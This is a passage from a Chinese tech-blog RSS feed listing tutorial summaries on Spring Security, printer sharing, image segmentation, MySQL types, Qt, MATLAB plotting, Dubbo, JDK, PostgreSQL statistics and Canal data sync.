&amp;lt;groupId&amp;gt;com.atguigu&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;common_utils&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Spring Security依赖 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-security&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.jsonwebtoken&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jjwt&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 3、复制工具类到common_utils 3、spring security核心代码 3.1、创建spring security核心配置类—TokenWebSecurityConfig Spring Security的核心配置就是继承WebSecurityConfigurerAdapter并注解**@EnableWebSecurity**的配置。&#xA;这个配置指明了用户名密码的处理方式、请求路径的开合、登录登出控制等和安全相关的配置&#xA;package com.atguigu.serurity.config; /** * &amp;lt;p&amp;gt; * Security配置类 * &amp;lt;/p&amp;gt; * * @author qy * @since 2019-11-18 */ @Configuration @EnableWebSecurity @EnableGlobalMethodSecurity(prePostEnabled = true) public class TokenWebSecurityConfig extends WebSecurityConfigurerAdapter { private UserDetailsService userDetailsService; private TokenManager tokenManager; private DefaultPasswordEncoder defaultPasswordEncoder; private RedisTemplate redisTemplate; @Autowired public TokenWebSecurityConfig(UserDetailsService userDetailsService, DefaultPasswordEncoder defaultPasswordEncoder, TokenManager tokenManager, RedisTemplate redisTemplate) { this.</description>
    </item>
    <item>
      <title>win7共享xp打印机_打印机共享问题，型号编码不可用，如何解决</title>
      <link>https://bchobby.github.io/posts/3ea813de958e19019632f75cc356b6ef/</link>
      <pubDate>Thu, 22 Oct 2020 18:45:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ea813de958e19019632f75cc356b6ef/</guid>
      <description>展开全部&#xA;一、可能是由2113于病毒死5261机&#xA;方法：确定是否由于病毒死机，找一4102张干净(确信无病毒)的系1653统盘，从A驱动舒上启动电脑，检查此时打印机和主机能否联机。如果正常联机，估计这种故障是由攻击硬件设备性能的某种病毒所致，可运行Scan. Kill, CPAV等反病毒软件进行杀毒处理，即可排除故障。&#xA;二、打印口地址设置是否正确&#xA;方法：检查打印口地址设置是否正确，如果从A驱启动后仍不能联机，可检查打印口地址设里是否发生了变化。方法是再次启动机器。进入CMOS SETUP程序，查看打印机井行通信口LPTI的设置状况。其正常设置应为Enable，并行口地址位378H，如有改变，进行更正即可。&#xA;三、打印机连接电缆接口是否松动、脱落&#xA;方法：检查打印机数据通信连接情况，检查打印机连接电缆接口是否松动、脱落。如果条件具备的话.可更换打印机连接电缆，或者将打印机连接到另一台电脑上进行测试。完成上述几个步骤的检查后，如果打印机还不能与主机相连，则应考虑打印机本身的硬件故障。&#xA;四、打印机处于暂停打印状态&#xA;方法：在“打印机”窗口，右键单击在用的打印机图标，然后单击以清除“暂停打印”选项前的对号“√”。&#xA;五、磁盘可用空间低于10MB&#xA;如果可用硬盘空间小于10MB(一般指C盘)，必须释放更多的空间才能完成打印任务。这时，请单击“磁盘清理”按钮，然后在“要删除的文件”列表框中，选中要删除的文件类型，单击“确定”按钮。&#xA;扩展资料：&#xA;打印机共享常见问题处理：&#xA;1、打印机和PC连接正常，本地打印OK&#xA;这是打印机共享的最基础条件，如果出现问题，请从打印机、数据线、驱动程序等方面去排查。如果以上都OK，则可能是连接打印机的PC系统服务或文件缓的原因，可以用我的“打印任务一键清除”去试试。&#xA;2、连接打印机的PC能被其他PC访问共享&#xA;首先确保连接打印机的PC能被局域网中其他PC打开访问。如果不行，可以在连接打印机的PC上运行我的“局域网共享一键修复”。一般选择“简单共享”，根据提示修复并重启系统。&#xA;此时，在其他PC上，点击“开始-运行”，输入“\\连接打印机PC的IP或计算机名”，按下回车，这时应该可以看到共享的打印机了，双击打印机图标添加为默认打印机即可。&#xA;注意了：因为局域网中PC的IP地址有些是自动获取的，该方式如果设置DHCP周期较短的话，很可能在PC重启后IP会变化，造成重启系统就不能共享打印的问题。强烈建议大家，连接打印机那台PC的IP要手动固定，或者通过添加该PC的计算机名来添加它共享的打印机。&#xA;3、同款打印机在不同系统会安装不同的驱动，即使都是Windows7系统，32位和64位的打印机驱动往往也不一样。比如连接打印机的PC是32位XP，而另一台PC是64位Win7，此时win7这台PC就算能访问xp共享，却不能直接添加共享的打印机，就是因为驱动不兼容的原因，解决起来有两个思路。&#xA;思路一：给不同系统的PC单独去下载安装对应的打印机驱动。然后再去添加共享的打印机就没有问题了。这个思路安全可靠，不存在任何兼容或冲突，唯一的不足就是操作步骤多一些。&#xA;思路二：在连接打印机的PC上同时安装多款驱动。</description>
    </item>
    <item>
      <title>图像分类，目标检测，语义分割，实例分割，全景分割联系与区别</title>
      <link>https://bchobby.github.io/posts/9985441823db4eca273d8cbea5cd2066/</link>
      <pubDate>Thu, 22 Oct 2020 17:49:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9985441823db4eca273d8cbea5cd2066/</guid>
      <description>一、图像分类 识别图像中存在的内容，如下图，有人（person）、树（tree）、草地（grass）、天空（sky），只知道有没有这一类东西就行。&#xA;二、目标检测 识别图像中存在的内容和检测其位置，如下图，以识别和检测人（person）为例，可以分开不同的人并给出位置，但不能给出准确的与之对应的像素，也不用检测处图像中所有的类型。&#xA;三、语义分割 对图像中的每个像素打上类别标签，如下图，把图像分为人（红色）、树木（深绿）、草地（浅绿）、天空（蓝色）标签。可以给出每一类对应的准确像素，但是不能把同一类型不同个体区分开。&#xA;四、实例分割 目标检测和语义分割的结合，在图像中将目标检测出来（目标检测），然后对目标每个像素打上标签（语义分割），不需要将图像中所有像素打上标签。对比上图、下图，如以人（person）为目标，语义分割不区分属于相同类别的不同实例（所有人都标为红色），实例分割区分同类的不同实例（使用不同颜色区分不同的人）&#xA;五、全景分割 语义分割和实例分割的结合，即要对所有目标都检测出来，又要区分出同个类别中的不同实例，图像中所有图像都要打上标签。对比上图、下图，实例分割只对图像中的目标（如上图中的人）进行检测和按像素分割，区分不同实例（使用不同颜色），而全景分割是对图中的所有物体包括背景都要进行检测和分割，区分不同实例（使用不同颜色）&#xA;参考： https://my.oschina.net/u/876354/blog/3055850</description>
    </item>
    <item>
      <title>unity2019导入leapmotion插件显示SpatialTracking在unity Engine中缺少相应的头文件</title>
      <link>https://bchobby.github.io/posts/d35aebbb6eb13c9ef749036cb018a872/</link>
      <pubDate>Thu, 22 Oct 2020 15:36:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d35aebbb6eb13c9ef749036cb018a872/</guid>
      <description>unity2019导入leapmotion插件显示SpatialTracking在unity Engine中缺少相应的头文件&#xA;1.问题描述：&#xA;2.问题解决方法：&#xA;（1）&#xA;（2）&#xA;（3）插入这个插件&#xA;（4）问题就可以解决了&#xA;注：2019将很多插件需要自己选择插入。如使用vuforia时需要导入&#xA;仅供学习参考；如有错误联系改正；欢迎交流；</description>
    </item>
    <item>
      <title>seadas及ocssw模块安装教程</title>
      <link>https://bchobby.github.io/posts/81633653031826bf96f47174e3932ef1/</link>
      <pubDate>Thu, 22 Oct 2020 11:48:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81633653031826bf96f47174e3932ef1/</guid>
      <description>先放结果&#xA;seadas的linux版本功能齐全，这里给出seadas linux版的安装教程，以及ocssw模块的安装&#xA;主要分为3个大步骤：&#xA;1.安装虚拟机&#xA;2.安装ubuntu&#xA;3.安装seadas及ocssw模块&#xA;由于&#xA;考虑到网络原因，本教程将在完全不用翻墙的情况下进行，我本人已经单独下载好了安装所需要的所有的组件，上传到百度云：&#xA;链接：https://pan.baidu.com/s/1OdxUaTHz1sICu_ocaskbpg 提取码：sdas （如果链接失效，请联系wechat-ID: MathematicianSY）&#xA;如果想自行尝试手动安装，我把安装的.py文件上传到这里（下载百度云的不用下载这个）：&#xA;https://download.csdn.net/download/aiwei169/13009351&#xA;最好使用我提供的组件，由于官网给的ocssw_install.py有许多错误，许多同学自己手动安装的时候经常报错，我修改了很多次代码才使它运行成功，你们自行尝试的话可能会遇到很多报错，所以建议大家使用修改好的这一份。&#xA;安装虚拟机，硬盘50G&#xA;安装ubuntu&#xA;更新&#xA;重启&#xA;在桌面右键，打开控制台&#xA;依次执行：&#xA;sudo apt-get install gcc&#xA;sudo apt-get install git&#xA;sudo apt-get install curl&#xA;sudo apt-get install wget&#xA;sudo apt-get remove openjdk*&#xA;sudo apt-get install vim&#xA;sudo add-apt-repository ppa:ts.sch.gr/ppa&#xA;sudo apt-get update&#xA;sudo apt-get install oracle-java8-installer&#xA;sudo apt-get install libcanberra-gtk*&#xA;中间让你按Y就按Y，让你Enter就Enter，让你ok就ok，碰到yes和no就选yes&#xA;最后检查一下java有没有装好：java -version&#xA;Sudo sh seadas安装包路径&#xA;然后会跳出这个界面：&#xA;此时，不要点击next，打开安装包所在的文件夹，发现多了一个文件夹，带锁&#xA;右键这个文件夹，点击properties，复制parent folder</description>
    </item>
    <item>
      <title>MySQL学习之数据类型</title>
      <link>https://bchobby.github.io/posts/b0dab88d55ab05cd41086164e5636186/</link>
      <pubDate>Thu, 22 Oct 2020 11:05:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0dab88d55ab05cd41086164e5636186/</guid>
      <description>一.数据类型 我们对数据类型的了解可以让我们在设计表的时候避免不必要的空间浪费。&#xA;在MySQL中的数据类型大概可分为四类:&#xA;1）数值数据类型&#xA;2）日期时间数据类型&#xA;3）文本字符串数据类型&#xA;4）二进制字符串数据类型&#xA;下面一一介绍它们的特性：&#xA;1.数值数据类型&#xA;1）整数型数据类型&#xA;类型名称字节数TINYINT1字节SMALLINT2字节MEDIUMINT3字节INT4字节BIGINT8字节 2）浮点数数据类型&#xA;类型名称字节数FLOAT4字节DOUBLE8字节DECIMAL(M,D)M+2字节 其中，前面两个好理解，最后一个DECIMAL类型不同于前两个，它实际上是以串存放的，DECIMAL&#xA;的有效取值范围由M和D的值决定，前面的M表示存储空间，后面的D表示精度，例如：&#xA;不指定时默认为（10，0）&#xA;2.日期与时间类型&#xA;类型名称日期范围YEAR1901~2155 （1字节）TIME-838：59：59~828：59：59（3字节）DATE1000-01-01~9999-12-3（3字节）DATETIME1000-01-01 00：00：00~9999-12-31 23：59：59 （8字节）TIMESTAMP1970-01-01 00：00：01~2038-01-19 03：14：07 （4字节） 3.文本字符串数据类型&#xA;类型名称说明CHAR(M)M个字节 1&amp;lt;=M&amp;lt;=255VARCHAR(M)L+1字节(L为实际字符串长度)，L&amp;lt;=M 1&amp;lt;=M&amp;lt;=225TINYTEXTL+1字节 ，L&amp;lt;2^8TEXTL+2字节 ,L&amp;lt;2^16MEDIUMTEXTL+3字节，L&amp;lt;2^24LONGTEXTL+4字节，L&amp;lt;2^32ENUM1或2个字节，取决于枚举值的数量SET1，2，3，4，8字节，取决于集合成员数量 下面详细学习：&#xA;1）CHAR与VARCHAR类型&#xA;CHAR(M)为为固定长度字符串，当插入的字符串长度不够时，会以空格填充，被检索时，会自动删除空格。&#xA;VARCHAR(M)为长度可变的字符串，M表示最大长度，当插入的字符串长度为L时，会存储L个字符串和一个字符串结束字符，故为L+1个&#xA;2）TEXT类型&#xA;TEXT列保存非二进制的长字符串，如文章内容。 当保存或查询TEXT列的值时，不会删除尾部空格。&#xA;3）ENUM类型&#xA;ENUM是一个字符串对象，其值为表创建时在列规定中枚举的一列值：&#xA;字段名 ENUM(&#39;value1&#39;,&#39;value2&#39;,&#39;value3&#39;,...,&#39;valueN&#39;)//最多65535个 valueN值枚举列表中的第n个值，ENUM类型的字段在取值时，只能在指定的枚举列表中取，而且一次只能取一次，如果创建的成员中有空格时，其尾部的空格将自动被删除，ENUM值在内部用整数表示，每个枚举值均有一个索引值，从1开始，例如：&#xA;4）SET类型&#xA;SET是一个字符串对象，可以有零或多个值，SET列最多可以有64个成员，其值为表创建时规定的一列值：&#xA;SET (&#39;value1&#39;,&#39;value2&#39;,&#39;value2&#39;,...,&#39;valueN&#39;) 与ENUM相同，SET值在内部用整数表示，列表中每一个值都有一个索引编号。&#xA;与ENUM不同，SET类型的列可从定义的列值中选择多个字符的联合，如果插入SET字段中列值有重复，那么MySQL会自动删除重复的值&#xA;使用实例：&#xA;注意：对于set来说，如果插入的值为重复的，则只取一个，如果插入了不按顺序排列值，则自动按顺序插入。&#xA;4.二进制字符串类型&#xA;类型名称说明BIT(M)位字段类型 约(M+7)/8字节BINARY(M)固定长度二进制字符串 M字节VARBINARY(M)可变长度二进制字符串 M+1字节TINYBLOB(M)非常小的BLOB L+1字节，L&amp;lt;2^8BLOB(M)小BLOB L+2字节 L&amp;lt;2^16MEDIUMBLOB(M)中等大小的BLOB L+3字节，L&amp;lt;2^24LONGBLOB(M)大BLOB L+4字节 ，L&amp;lt;2^32 BLOB 数据类型以随机存取块（称为智能大对象空间）的形式存储任何种类的二进制数据。二进制数据通常由已保存的电子表格、程序装入模块和数字化声音模式等等组成。数据库服务器不会对 BLOB 列的内容进行解释。</description>
    </item>
    <item>
      <title>Qt循环播放音乐后程序异常崩溃 （SIGSEGV错误）</title>
      <link>https://bchobby.github.io/posts/97c80a3b19ec006d70bfa0756ae94f06/</link>
      <pubDate>Thu, 22 Oct 2020 00:45:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97c80a3b19ec006d70bfa0756ae94f06/</guid>
      <description>一、出现问题 当我想为我的游戏添加背景音乐并让它循环播放时，我采取的方式是写一个bgmusic类(文章末尾我会给出没有问题的bgmusic的具体实现)，它继承自QThread,并重写其中的run方法。至于这个类的使用，就是在需要播放背景音乐的地方直接new出一个对象，调用其start方法即可。&#xA;普遍的做法(也是我刚开始出错的做法)如下代码所示：&#xA;QMediaPlaylist *playlist = new QMediaPlaylist(); playlist-&amp;gt;addMedia(QUrl(&#34;qrc:/res/bg-Music.mp3&#34;)); // 请关注这里，只添加了一个音频 playlist-&amp;gt;setPlaybackMode(QMediaPlaylist::Loop); playerlist-&amp;gt;setCurrentIndex(0); QMediaPlayer *music = new QMediaPlayer(); music-&amp;gt;setPlaylist(playlist); music-&amp;gt;play(); 但如果直接这样写的话，当程序播放完背景音乐后，程序便会异常崩溃。&#xA;小Tips：请关注资源的路径写法 ，如下图所示。&#xA;二、分析问题 经过调试，发现是程序出现段错误，被操作系统异常终止。这个错误是程序中经常出现的一个错误，程序访问了不该访问的地址。&#xA;那么，接下来，看qt的官方文档：&#xA;setMedia 函数会立即返回，不会等待媒体加载完毕。崩溃的原因应该就是有时加载快，完成了播放正常，有时加载慢未完成，播放就崩溃。&#xA;三、解决问题 3.1 针对上述普遍的做法的解决方案 保证QMediaPlaylist对象中添加了多于1个的音频对象&#xA;更改后的代码如下：&#xA;QMediaPlaylist *playlist = new QMediaPlaylist(); playlist-&amp;gt;addMedia(QUrl(&#34;qrc:/res/bg-Music.mp3&#34;)); playlist-&amp;gt;addMedia(QUrl(&#34;qrc:/res/bg-Music.mp3&#34;)); // 新增加的 playlist-&amp;gt;setPlaybackMode(QMediaPlaylist::Loop); playerlist-&amp;gt;setCurrentIndex(0); QMediaPlayer *music = new QMediaPlayer(); music-&amp;gt;setPlaylist(playlist); music-&amp;gt;play(); 3.2针对于不使用QMediaPlaylist，而只是用QMediaPlayer对象实现循环播放的解决方案 要在你写的类中增加一个槽函数去监听QMediaPlayer::mediaStatusChanged信号&#xA;四、具体代码 需要说明的是，我将两种解决方案都写在了同一份代码中，并采用的是方案一，代码中我将方案二注释掉了，读者可以根据需要自行选择。&#xA;bgmusic.h&#xA;#ifndef BGMUSIC_H #define BGMUSIC_H #include &amp;lt;QThread&amp;gt; #include &amp;lt;QMediaPlayer&amp;gt; #include &amp;lt;QMediaPlaylist&amp;gt; class bgmusic : public QThread { Q_OBJECT void run() override; public: bgmusic(); private: QMediaPlayer* player; QMediaPlaylist* playerList; void initStatus(QMediaPlayer::MediaStatus status); // 槽函数 监听QMediaPlayer::mediaStatusChanged信号 }; #endif // BGMUSIC_H bgmusic.</description>
    </item>
    <item>
      <title>matlab如何打开dcm_MATLAB绘图干货</title>
      <link>https://bchobby.github.io/posts/09b7c73e9080fd4be717caa1ffb308ed/</link>
      <pubDate>Wed, 21 Oct 2020 22:41:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09b7c73e9080fd4be717caa1ffb308ed/</guid>
      <description>MATLAB绘图干货 作为理工科学生，在写学术论文时，需要很多的配图，毫无疑问，要想写出一篇优秀论文，精美的插图能力是必须的。插图被称作论文的眼睛，起到画龙点睛的作用。所以接下里教大家如何插入高清、优秀的MATLAB图片。(请再也不要用什么QQ、微信截图了，既不清楚，还把MATLAB的大灰边截下来了。)&#xA;优秀的插图有以下特点：&#xA;图片大小合理，清晰/美观；&#xA;坐标轴有标注和单位；&#xA;X轴不要有留白，Y轴可以有留白；&#xA;有图例、网格；&#xA;所有汉字、字母、数字的字体大小合适，一般与正文字体相当或小一号；&#xA;同一篇文章内的风格要一致，比如坐标轴与图片边界的距离一致，这样图片显得整齐；&#xA;配色是点睛之笔。&#xA;常见错误想法：&#xA;为何要设置图片的大小，完全可以在Word中缩放呀？&#xA;这是因为：在Word中放缩图片会导致图中字体大小、线宽、坐标轴与图片边界的距离等发生变化，导致图片不够清晰美观。&#xA;设置图片的大小、分辨率、字体、线宽&#xA;你们是不是遇到过，在MATLAB中画出了的图明明很好看，但是保存为图片后再插入到Word中，总是不清晰，不够美观。那是你没有设置正确的 图片的大小、分辨率、字体、线宽。接下来就教你如何设置：文件-&amp;gt;导出设置&#xA;大小：需要计算得到宽度和高度。&#xA;例如A4纸的宽度为21cm，如果左右页边距各为2.5cm，正文的宽度就是16cm。如果页面是单栏，设为宽度14cm，高度8.6cm比较合适(黄金比例0.618)。双栏的话，宽7cm，高4.3cm即可。&#xA;分辨率：印刷品一般为300dpi，所以这里设为300&#xA;字体：多数论文要求：Times New Roman，字体大小10磅，注意最好不要出现汉字。&#xA;线宽，不建议在这里设置，而是差异化的设置线宽。&#xA;比如，坐标轴线宽1磅，网格线宽0.5磅，数据的线条线宽1.5或2磅。&#xA;完成上述设置后，点击“应用于图窗”，点击导出，可保存为图片。位图建议保存为Tiff格式，矢量图建议保存为emf。&#xA;注：1、emf文件可以用Visio打开，“取消组合”后进行二次编辑。&#xA;2、推荐大家保存一份.fig文件放在本地，后期还可以进行修改。&#xA;总结 1、导出图片时，不要直接使用&#34;文件-&amp;gt;另存为&#34;,也不要使用&#34;编辑-&amp;gt;复制图窗&#34;。&#xA;2、可以使用导出设置对图片的大小、分辨率、字体进行设置，不推荐对线宽进行统一设置。因为不同的线型宽度应该不同。&#xA;3、图片的宽度应该是经过精心计算后的结果，高度可以设为宽度×0.618。&#xA;4、导出图片的格式一般为tiff(位图)、emf(矢量图)。&#xA;5、emf格式可以用Visio打开，进行二次编辑。</description>
    </item>
    <item>
      <title>Dubbo理论、zookeeper安装、Dubbo-admin可视化监控安装</title>
      <link>https://bchobby.github.io/posts/c5440df50f32cbc60eca8bd6047dbbd5/</link>
      <pubDate>Wed, 21 Oct 2020 18:06:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5440df50f32cbc60eca8bd6047dbbd5/</guid>
      <description>一、分布式理论 什么是分布式系统?&#xA;在《分布式系统原理与范型》一书中有如下定义: &#34;分布式系统是若干独立计算机的集合， 这些计算机对于用户来说就像单个相关系统”;&#xA;分布式系统是由一组通过网络进行通信、为了完成共同的任务而协调工作的计算机节点组成的系统。分布式系统的出现是为了用廉价的、普通的机器完成单个计算机无法完成的计算、存储任务。其目的是利用更多的机器，处理更多的数据。&#xA;分布式系统(distributed system)是建立在网络之上的软件系统。&#xA;首先需要明确的是，只有当单个节点的处理能力无法满足日益增长的计算、存储任务的时候，且硬件的提升(加内存、加磁盘、使用更好的CPU)高昂到得不偿失的时候，应用程序也不能进一步优化的时候，我们才需要考虑分布式系统。因为，分布式系统要解决的问题本身就是和单机系统一样的， 而由于分布式系统多节点、通过网络通信的拓扑结构，会引入很多单机系统没有的问题，为了解决这些问题又会引入更多的机制、协议，带来更多的问题。。。&#xA;Dubbo文档&#xA;随着互联网的发展，网站应用的规模不断扩大，常规的垂直应用架构已无法应对，分布式服务架构以及流动计算架构势在必行，急需一个治理系统确保架构有条不紊的演进。&#xA;在Dubbo的官网文档有这样一张图:http://dubbo.apache.org/zh-cn/&#xA;单一应用架构&#xA;当网站流量很小时，只需一个应用，将所有功能都部署在一起，以减少部署节点和成本。此时，用于简化增删改查工作量的数据访问框架(ORM)是关键。&#xA;垂直应用架构&#xA;当访问量逐渐增大，单一应用增加机器带来的加速度越来越小，提升效率的方法之一是将应用拆成互不相干的几个应用，以提升效率。此时，用于加速前端页面开发的Web框架(MVC)是关键。&#xA;分布式服务架构&#xA;当垂直应用越来越多，应用之间交互不可避免，将核心业务抽取出来，作为独立的服务，逐渐形成稳定的服务中心，使前端应用能更快速的响应多变的市场需求。此时，用于提高业务复用及整合的分布式服务框架(RPC)是关键。&#xA;流动计算架构&#xA;当服务越来越多，容量的评估，小服务资源的浪费等问题逐渐显现，此时需增加一个调度中心基于访问压力实时管理集群容量，提高集群利用率。此时，用于提高机器利用率的资源调度和治理中心(SOA)是关键。&#xA;二、RPC 1.什么是RPC?&#xA;RPC [Remote Procedure Call]是指远程过程调用，是一种进程间通信方式， 他是一种技术的思想， 而不是规范。它允许程序调用另一个地址空间(通常是共享网络的另一台机器上)的过程或函数，而不用程序员显式编码这个远程调用的细节。即程序员无论是调用本地的还是远程的函数，本质上编写的调用代码基本相同。&#xA;也就是说两台服务器A, B, 一个应用部署在A服务器上，想要调用B服务器上应用提供的函数/方法，由于不在一个内存空间，不能直接调用，需要通过网络来表达调用的语义和传达调用的数据。为什么要用RPC呢?就是无法在一个进程内， 甚至一个计算机内通过本地调用的方式完成的需求，比如不同的系统间的通讯，甚至不同的组织间的通讯，由于计算能力需要横向扩展，需要在多台机器组成的集群上部署应用。RPC就是要像调用本地的函数一样去调远程函数; RPC原理：&#xA;步骤解析：&#xA;RPC的两个核心：通讯，序列化&#xA;三、Dubbo概念 1.什么是dubbo?&#xA;Apache Dubbo I&#39;dAbau|是一款高性能、 轻量级的开源Java RPC框架，它提供了三大核心能力:面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。&#xA;服务提供者(Provider) : 暴露服务的服务提供方，服务提供者在启动时，向注册中心注册自己提供的服务。&#xA;服务消费者(Consumer) : 调用远程服务的服务消费方，服务消费者在启动时，向注册中心订阅自己所需的服务，服务消费者，从&#xA;提供者地址列表中，基于软负载均衡算法，选一台提供者进行调用，如果调用失败，再选另一台调用。&#xA;注册中心(Registry) :注册中心返回服务提供者地址列表给消费者，如果有变更，注册中心将基于长连接推送变更数据给消费者&#xA;监控中心(Monitor) :服务消费者和提供者，在内存中累计调用次数和调用时间，定时每分钟发送一次统计数据到监控中心&#xA;2.zookeeper下载&#xA;https://downloads.apache.org/zookeeper/zookeeper-3.5.8/&#xA;下载带bin的包，解压后以管理员身份执行/bin包下的zkServer.cmd&#xA;首次执行可能会闪退，在下图位置加入pause，就能看到错误信息，一般情况下会出现zoo.cfg找不到的错误，我们在config包下把zoo_sample.cfg复制一份然后改名成zoo.cfg即可正常启动&#xA;2.Dubbo-admin&#xA;Dubbo本身并不是一个服务软件。它其实就是一个jar包， 能够帮你的java程序连接到zookeeper,并利用zookeeper消费、提供服务。&#xA;但是为了让用户更好的管理监控众多的Dubbo服务，官方提供了一个可视化的监控程序Dubbo-admin,不过这个监控即使不装也不影响使用。&#xA;这里直接我主页资源下的jar包就好了&#xA;打开jar包所在位置，然后在路径栏输入cmd打开命令提示符，或者打开命令提示符跳转到jar包位置，输入指令：&#xA;java -jar dubbo-admin-0.0.1-SNAPSHOT.jar&#xA;Dubbo-admin的默认端口号为7001，登录名和密码默认都是root&#xA;http://localhost:7001/</description>
    </item>
    <item>
      <title>JDK配置</title>
      <link>https://bchobby.github.io/posts/60c838aa041c19eb8c564a75455f973c/</link>
      <pubDate>Wed, 21 Oct 2020 14:24:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60c838aa041c19eb8c564a75455f973c/</guid>
      <description> 一、JDK概述 JDK是 Java 语言的软件开发工具包，主要用于移动设备、嵌入式设备上的java应用程序。JDK是整个java开发的核心。&#xA;它包含了:&#xA;1、 JAVA开发工具(jdk\bin)&#xA;2、 基础开发库(jdk\jre\lib\rt.jar)&#xA;3、 基础开发库的源码(jdk\src.zip)&#xA;二、下载jdk-8u162-Windows-64 与安装 JDK8下载地址&#xA;注意：&#xA;1、 同时安装多个jdk时需要使用指定环境变量来确认使用的是哪个jdk&#xA;2、 安装路径不要有中文或者特殊符号如空格等。最好目录统一&#xA;3、 我们也提供了绿色解压版，不需要安装直接解压即可&#xA;三、配置环境变量 1、JAVA_HOME 该配置是要配置jdk的安装目录，来明确要使用哪个版本的jdk。&#xA;例如：我把jdk安装在了D:\Java\jdk7。配置如下：&#xA;2、新建CLASSPATH变量值&#xA;变量名：CLASSPATH , 变量值： .;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar（注意最前面有一点）。&#xA;3、配置系统环境变量Path，找到path新建输入 %JAVA_HOME%\bin&#xA;4、检验cmd java -version </description>
    </item>
    <item>
      <title>PostgreSQL如何查询IO消耗最高的SQL及优化</title>
      <link>https://bchobby.github.io/posts/ac2fcfb996d3c201746b1bc73c3d433b/</link>
      <pubDate>Wed, 21 Oct 2020 11:27:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac2fcfb996d3c201746b1bc73c3d433b/</guid>
      <description>摘要：一、安装pg_stat_statements插件此插件用于统计数据库的资源消耗，分析SQL语句安装流程：cd&#xA;一、安装pg_stat_statements插件&#xA;此插件用于统计数据库的资源消耗，分析SQL语句&#xA;安装流程：&#xA;cd */postgresql-11.1/contrib/pg_stat_statements&#xA;make&#xA;make install&#xA;二、加载pg_stat_statements模块&#xA;–编辑postgresql.conf文件&#xA;vi $PGDATA/postgresql.conf&#xA;–修改配置&#xA;shared_preload_libraries=‘pg_stat_statements’&#xA;track_io_timing = on用于跟踪IO消耗的时间&#xA;track_activity_query_size = 1024设置单条SQL的最长长度，超过被截断显示（可选）&#xA;三、配置pg_stat_statements采样参数&#xA;–在postgresql.conf文件添加&#xA;pg_stat_statements.max = 10000 # 在pg_stat_statements中最多保留多少条统计信息&#xA;pg_stat_statements.track = all # all - (所有SQL包括函数内嵌套的SQL), top - 直接执行的SQL(函数内的sql不被跟踪), none - (不跟踪)&#xA;pg_stat_statements.track_utility = off # 是否跟踪非DML语句 (例如DDL，DCL)， on表示跟踪, off表示不跟踪&#xA;pg_stat_statements.save = on # 重启后是否保留统计信息&#xA;修改完postgresql.conf文件后，重启数据库restart&#xA;pg_ctl —D $PGDATA restart&#xA;四、创建pg_stat_statements extension&#xA;postgres=# create extension pg_stat_statements;&#xA;CREATE EXTENSION&#xA;postgres=#&#xA;五、分析SQL</description>
    </item>
    <item>
      <title>云讯健身管理系统-15--Canal数据同步</title>
      <link>https://bchobby.github.io/posts/0a2245c5d8740052936115788003d576/</link>
      <pubDate>Wed, 21 Oct 2020 10:28:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a2245c5d8740052936115788003d576/</guid>
      <description>一、Canal介绍 1、应用场景 在前面的统计分析功能中，我们采取了服务调用获取统计数据，这样耦合度高，效率相对较低，目前我采取另一种实现方式，通过实时同步数据库表的方式实现，例如我们要统计每天注册与登录人数，我们只需把会员表同步到统计库中，实现本地统计就可以了，这样效率更高，耦合度更低，Canal就是一个很好的数据库同步工具。canal是阿里巴巴旗下的一款开源项目，纯Java开发。基于数据库增量日志解析，提供增量数据订阅&amp;amp;消费，目前主要支持了MySQL。&#xA;2、Canal环境搭建 canal的原理是基于mysql binlog技术，所以这里一定需要开启mysql的binlog写入功能&#xA;开启mysql服务： service mysql start （或者 systemctl start mysqld.service）&#xA;（2.1）检查binlog功能是否有开启&#xA;（2.2）如果显示状态为OFF表示该功能未开启，开启binlog功能&#xA;1，修改 mysql 的配置文件 my.cnf vi /etc/my.cnf 追加内容： log-bin=mysql-bin #binlog文件名 binlog_format=ROW #选择row模式 server_id=1 #mysql实例id,不能和canal的slaveId重复 2，重启 mysql： service mysql restart 3，登录 mysql 客户端，查看 log_bin 变量 mysql&amp;gt; show variables like &#39;log_bin&#39;; +---------------+-------+ | Variable_name | Value | +---------------+-------+ | log_bin | ON| +---------------+-------+ 1 row in set (0.00 sec) ———————————————— 如果显示状态为ON表示该功能已开启 （2.3）在mysql里面添加以下的相关用户和权限，方便远程访问（加%）&#xA;CREATE USER &#39;canal&#39;@&#39;%&#39; IDENTIFIED BY &#39;canal&#39;; GRANT SHOW VIEW, SELECT, REPLICATION SLAVE, REPLICATION CLIENT ON *.</description>
    </item>
    <item>
      <title>JG-OJ记录81：1:A&#43;B=？</title>
      <link>https://bchobby.github.io/posts/5b56be065970b11716327c852f75aa84/</link>
      <pubDate>Tue, 20 Oct 2020 19:05:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b56be065970b11716327c852f75aa84/</guid>
